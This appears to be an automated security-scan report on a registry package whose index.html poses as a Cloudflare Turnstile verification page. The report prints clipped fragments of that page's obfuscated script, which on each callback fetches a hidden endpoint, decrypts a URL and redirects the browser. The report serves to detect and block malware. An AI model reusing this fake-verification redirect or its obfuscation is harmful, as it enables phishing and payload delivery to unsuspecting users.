registry / mbxcnsuwgs1 / 1.0.0

mbxcnsuwgs1@1.0.0

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Opening index.html presents a fake security-verification page. Any Turnstile callback triggers an obfuscated, server-directed redirect to a decrypted destination.

Static reason

One or more suspicious static signals were detected.

Trigger

A browser opens index.html and a Turnstile success, error, expiry, timeout, or unsupported callback occurs.

Impact

Directs users to an attacker-controlled hidden destination, enabling staged phishing or payload delivery.

Mechanism

Obfuscated remote-response decryption and browser redirect

Attack narrative

The package is a browser page disguised as Cloudflare verification. Its callback sends a hidden host key to an obfuscated endpoint, decrypts the response into a URL, preserves the current query parameters, and navigates the browser there. This conceals the final destination from static inspection and is a concrete staged redirect chain.

Rationale

The package contains no npm lifecycle hook, but its sole shipped entry is an intentionally obfuscated server-directed redirector behind a fake verification UI. The concealed remote destination creates a concrete malicious delivery surface.

Evidence

package.jsonindex.html

Network endpoints1

challenges.cloudflare.com/turnstile/v0/api.js

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

Obfuscated handler runs after every Turnstile callback.
Handler sends a generated host key with fetch to a hidden endpoint.
It Base64-decodes and decrypts the server response into a URL.
It redirects the browser to that decrypted URL and copies query parameters.

Evidence against

package.json has no lifecycle scripts or dependencies.
The payload activates only when this HTML is opened and the challenge callback fires.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsMinifiedPossibleObfuscation

Manifest

NoLicense

scanned 1 file(s), 34.0 KB of source

Source & flagged code

5 flagged

index.htmlView file

Lines 206-231html

206 Performance and Security by

207 <a rel="noopener noreferrer" href="https://www.cloudflare.com/?utm_source=challenge&utm_campaign=m" target="_blank">Cloudflare</a>

208 </span>

209 <span class="footer-divider"></span>

210 <a id="privacy-link" target="_blank" rel="noopener noreferrer" href="https://www.cloudflare.com/privacypolicy/" class="footer-text">Privacy</a>

211 </div>

212 </div>

213 </div>

214</div>

215<script>

216 (function () {

217 function generateRayId() {

218 const chars = '0123456789abcdef';

219 let result = '';

220 for (let i = 0; i < 16; i++) result += chars[Math.floor(Math.random() * 16)];

221 return result;

222 }

223 document.getElementById('dynamic-ray-id').textContent = generateRayId();

224 })();

225

226 function onTurnstileComplete(token) {

227 (function(_0x285839,_0x4aa75a){const _0x342d65={_0x4c2673:0x232,_0x26b0a5:0x21f,_0x5d4c72:0x23c,_0x3cb7b4:0x25b,_0x276376:0x268,_0x365a65:0x269,_0x292c87:0x26b,_0x3f36b0:0x231,_0x51b265:0x278,_0x162878:0x27e,_0x39f6d9:0x2b0,_0x1acf6a:0x253,_0x24758f:0x26f,_0x36505f:0x27b,_0x414a21:0x272,_0x44451a:0x271,_0x537f33:0x25f,_0x1aff44:0x243,_0x543416:0x287,_0x544c86:0x257,_0x572817:0x279,_0x2e1c29:0x29d,_0x38e3cf:0x2ab,_0xef3dae:0x28f,_0x49514e:0x25d,_0x63f84b:0x22f,_0x19e08e:0x282,_0xc406e8:0x261,_0x5d1c38:0x235,_0x376bc7:0x253,_0x24c608:0x227,_0x212d3f:0x26f,_0x3ef8fd:0x248,_0xe55a06:0x243, ...

High

Ai Review Evidence

Handler sends a generated host key with fetch to a hidden endpoint.

index.htmlView on unpkg · L227

High

Ai Review Evidence

It redirects the browser to that decrypted URL and copies query parameters.

index.htmlView on unpkg · L227

High

Ai Review Evidence

It redirects the browser to that decrypted URL and copies query parameters.

index.htmlView on unpkg · L227

228 }

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L226

229</script>

230</body>

231</html>

Long lines were clipped for display.

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

Source & flagged code

5 flagged · loading source

index.htmlView file

226function onTurnstileComplete(token) { L227: (function(_0x285839,_0x4aa75a){const _0x342d65={_0x4c2673:0x232,_0x26b0a5:0x21f,_0x5d4c72:0x23c,_0x3cb7b4:0x25b,_0x276376:0x268,_0x365a65:0x269,_0x292c87:0x26b,_0x3f36b0:0x231,_0x5... L228: }

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L226

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

227const _0x2ac2c8=await _0x169ca0[_0x4ef9ac(-_0x165543._0x88dd47,-_0x165543._0x162705,-_0x165543._0x2e3310,-0x52)](fetch,_0x169ca0[_0x4ef9ac(-_0x165543._0xcd9a0a,-_0x165543._0x1b3e1a,-_0x165543._0x5ed41e,-_0x165543._0x100ddf)],{'method':_0x249e47(-_0x165543._0x336dc0,-_0x165543._0x41bf7d,-_0x165543._0x3d9db8,-_0x165543._0x3f1202),'headers':{'Content-Type':_0x169ca0['UZIMR']},'body':JSON['stringify'](_0x1ce833)})

High

Ai Review Evidence

Handler sends a generated host key with fetch to a hidden endpoint.

index.html

Findings

5 High1 Medium2 Low

HighObfuscated Payload Loaderindex.html

HighSemantic Analysis Limitedindex.html

HighAi Review Evidenceindex.html

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowNo License